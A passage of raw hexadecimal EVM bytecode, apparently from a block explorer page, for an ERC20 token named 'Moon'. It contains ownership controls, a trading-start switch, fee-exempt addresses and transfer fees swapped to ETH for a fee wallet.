000008152600401610db490612d17565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2c57600080fd5b505afa158015610e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e649190612822565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec657600080fd5b505afa158015610eda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efe9190612822565b6040518363ffffffff1660e01b8152600401610f1b929190612bf1565b60206040518083038186803b158015610f3357600080fd5b505afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190612822565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561112c578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190612822565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108257600080fd5b505afa158015611096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ba9190612822565b6040518363ffffffff1660e01b81526004016110d7929190612bf1565b602060405180830381600087803b1580156110f157600080fd5b505af1158015611105573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111299190612822565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611295611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612d17565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61136e611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f290612d17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561146b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146290612c97565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612d77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160790612cb7565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ee9190612d97565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612d57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390612c57565b60405180910390fd5b6000821161181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181690612d37565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c35750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bf57600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119695750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119be57601060179054906101000a900460ff166119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b490612c77565b60405180910390fd5b5b5b601060149054906101000a900460ff16156119e6576119df848484611e2e565b9050611d65565b60006119f1306107cb565b9050601060149054906101000a900460ff16158015611a5a5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a725750601060159054906101000a900460ff165b15611add57601060169054906101000a900460ff1615611a9257600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611adc81612001565b5b611b66836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c4c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c6057611c5b86868661207f565b611c62565b835b9050611cb681600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d569190612d97565b60405180910390a36001925050505b9392505050565b6000838311158290611db4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dab9190612c35565b60405180910390fd5b5060008385611dc39190612f8d565b9050809150509392505050565b6000808284611ddf9190612eac565b905083811015611e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1b90612cd7565b60405180910390fd5b8091505092915050565b6000611eb9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fee9190612d97565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550612025816122a7565b600047905060008111156120605761205f600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826125a3565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121075761210060646120f2600954866125ee90919063ffffffff16565b61266990919063ffffffff16565b9050612185565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612184576121816064612173600a54866125ee90919063ffffffff16565b61266990919063ffffffff16565b90505b5b600081111561228a576121e081600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122819190612d97565b60405180910390a35b61229d81846126b390919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff8111156122c4576122c3613192565b5b6040519080825280602002602001820160405280156122f25781602001602082028036833780820191505090505b509050308160008151811061230a57612309613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061237b5761237a613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561241d57600080fd5b505afa158015612431573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124559190612822565b8160028151811061246957612468613163565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124d030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611530565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612534959493929190612de2565b600060405180830381600087803b15801561254e57600080fd5b505af1158015612562573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612597929190612db2565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125e9573d6000803e3d6000fd5b505050565b6000808314156126015760009050612663565b6000828461260f9190612f33565b905082848261261e9190612f02565b1461265e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265590612cf7565b60405180910390fd5b809150505b92915050565b60006126ab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126fd565b905092915050565b60006126f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d6c565b905092915050565b60008083118290612744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273b9190612c35565b60405180910390fd5b50600083856127539190612f02565b9050809150509392505050565b60008135905061276f8161348f565b92915050565b6000815190506127848161348f565b92915050565b60008083601f8401126127a05761279f6131c6565b5b8235905067ffffffffffffffff8111156127bd576127bc6131c1565b5b6020830191508360208202830111156127d9576127d86131cb565b5b9250929050565b6000813590506127ef816134a6565b92915050565b60006020828403121561280b5761280a6131d5565b5b600061281984828501612760565b91505092915050565b600060208284031215612838576128376131d5565b5b600061284684828501612775565b91505092915050565b60008060408385031215612866576128656131d5565b5b600061287485828601612760565b925050602061288585828601612760565b9150509250929050565b6000806000606084860312156128a8576128a76131d5565b5b60006128b686828701612760565b93505060206128c786828701612760565b92505060406128d8868287016127e0565b9150509250925092565b600080604083850312156128f9576128f86131d5565b5b600061290785828601612760565b9250506020612918858286016127e0565b9150509250929050565b60008060208385031215612939576129386131d5565b5b600083013567ffffffffffffffff811115612957576129566131d0565b5b6129638582860161278a565b92509250509250929050565b600061297b8383612987565b60208301905092915050565b61299081612fc1565b82525050565b61299f81612fc1565b82525050565b60006129b082612e67565b6129ba8185612e8a565b93506129c583612e57565b8060005b838110156129f65781516129dd888261296f565b97506129e883612e7d565b9250506001810190506129c9565b5085935050505092915050565b612a0c81612fd3565b82525050565b612a1b81613016565b82525050565b6000612a2c82612e72565b612a368185612e9b565b9350612a46818560208601613028565b612a4f816131da565b840191505092915050565b6000612a67602383612e9b565b9150612a72826131eb565b604082019050919050565b6000612a8a600983612e9b565b9150612a958261323a565b602082019050919050565b6000612aad602683612e9b565b9150612ab882613263565b604082019050919050565b6000612ad0602283612e9b565b9150612adb826132b2565b604082019050919050565b6000612af3601b83612e9b565b9150612afe82613301565b602082019050919050565b6000612b16602183612e9b565b9150612b218261332a565b604082019050919050565b6000612b39602083612e9b565b9150612b4482613379565b602082019050919050565b6000612b5c602983612e9b565b9150612b67826133a2565b604082019050919050565b6000612b7f602583612e9b565b9150612b8a826133f1565b604082019050919050565b6000612ba2602483612e9b565b9150612bad82613440565b604082019050919050565b612bc181612fff565b82525050565b612bd081613009565b82525050565b6000602082019050612beb6000830184612996565b92915050565b6000604082019050612c066000830185612996565b612c136020830184612996565b9392505050565b6000602082019050612c2f6000830184612a03565b92915050565b60006020820190508181036000830152612c4f8184612a21565b905092915050565b60006020820190508181036000830152612c7081612a5a565b9050919050565b60006020820190508181036000830152612c9081612a7d565b9050919050565b60006020820190508181036000830152612cb081612aa0565b9050919050565b60006020820190508181036000830152612cd081612ac3565b9050919050565b60006020820190508181036000830152612cf081612ae6565b9050919050565b60006020820190508181036000830152612d1081612b09565b9050919050565b60006020820190508181036000830152612d3081612b2c565b9050919050565b60006020820190508181036000830152612d5081612b4f565b9050919050565b60006020820190508181036000830152612d7081612b72565b9050919050565b60006020820190508181036000830152612d9081612b95565b9050919050565b6000602082019050612dac6000830184612bb8565b92915050565b6000604082019050612dc76000830185612bb8565b8181036020830152612dd981846129a5565b90509392505050565b600060a082019050612df76000830188612bb8565b612e046020830187612a12565b8181036040830152612e1681866129a5565b9050612e256060830185612996565b612e326080830184612bb8565b9695505050505050565b6000602082019050612e516000830184612bc7565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612eb782612fff565b9150612ec283612fff565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ef757612ef66130d6565b5b828201905092915050565b6000612f0d82612fff565b9150612f1883612fff565b925082612f2857612f27613105565b5b828204905092915050565b6000612f3e82612fff565b9150612f4983612fff565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f8257612f816130d6565b5b828202905092915050565b6000612f9882612fff565b9150612fa383612fff565b925082821015612fb657612fb56130d6565b5b828203905092915050565b6000612fcc82612fdf565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061302182612fff565b9050919050565b60005b8381101561304657808201518184015260208101905061302b565b83811115613055576000848401525b50505050565b6000600282049050600182168061307357607f821691505b6020821081141561308757613086613134565b5b50919050565b600061309882612fff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130cb576130ca6130d6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f742073746172740000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61349881612fc1565b81146134a357600080fd5b50565b6134af81612fff565b81146134ba57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122001d59c4242e5c642673bc698d7b1f481915caaa4aadd4719d6592f88abf17f5864736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000008f0d18000000000000000000000000000000000000000000000000000000000000000044d6f6f6e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044d6f6f6e00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b6040516101679190612c35565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906128e2565b6105d7565b6040516101a49190612c1a565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf9190612d97565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa919061288f565b6105ff565b60405161020c9190612c1a565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b6040516102379190612e3c565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906128e2565b6106f0565b6040516102749190612c1a565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f91906127f5565b6107a3565b6040516102b19190612c1a565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc9190612d97565b60405180910390f35b3480156102f157600080fd5b5061030c600480360381019061030791906127f5565b6107cb565b6040516103199190612d97565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612922565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612bd6565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c69190612c35565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f19190612d97565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c91906128e2565b610c18565b60405161042e9190612c1a565b60405180910390f35b34801561044357600080fd5b5061045e600480360381019061045991906128e2565b610ce5565b60405161046b9190612c1a565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612bd6565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d8919061284f565b611206565b6040516104ea9190612d97565b60405180910390f35b3480156104ff57600080fd5b5061051a600480360381019061051591906127f5565b61128d565b005b34801561052857600080fd5b50610543600480360381019061053e91906127f5565b611366565b005b6060600180546105549061305b565b80601f01602080910402602001604051908101604052809291908181526020018280546105809061305b565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e4611528565b8484611530565b6001905092915050565b6000600b54905090565b600061060c8484846116fb565b506106ce84610619611528565b6106c9856040518060600160405280602881526020016134be60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd611528565b84610794856006600061070e611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b611530565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612d17565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf613163565b5b90506020020160208101906108e591906127f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109419061308d565b9150506108ac565b505050565b610956611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612d17565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a31611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612d17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b9061305b565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb79061305b565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c25611528565b84610cd6856040518060600160405280602581526020016134e66025913960066000610c4f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b6001905092915050565b6000610cf9610cf2611528565b84846116fb565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d30611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612d17565b60405180910390fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2c57600080fd5b505afa158015610e40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e649190612822565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ec657600080fd5b505afa158015610eda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efe9190612822565b6040518363ffffffff1660e01b8152600401610f1b929190612bf1565b60206040518083038186803b158015610f3357600080fd5b505afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190612822565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561112c578173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe857600080fd5b505afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190612822565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108257600080fd5b505afa158015611096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ba9190612822565b6040518363ffffffff1660e01b81526004016110d7929190612bf1565b602060405180830381600087803b1580156110f157600080fd5b505af1158015611105573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111299190612822565b90505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060156101000a81548160ff0219169083151502179055506001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611295611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990612d17565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61136e611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f290612d17565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561146b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146290612c97565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790612d77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611610576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160790612cb7565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116ee9190612d97565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612d57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390612c57565b60405180910390fd5b6000821161181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181690612d37565b60405180910390fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff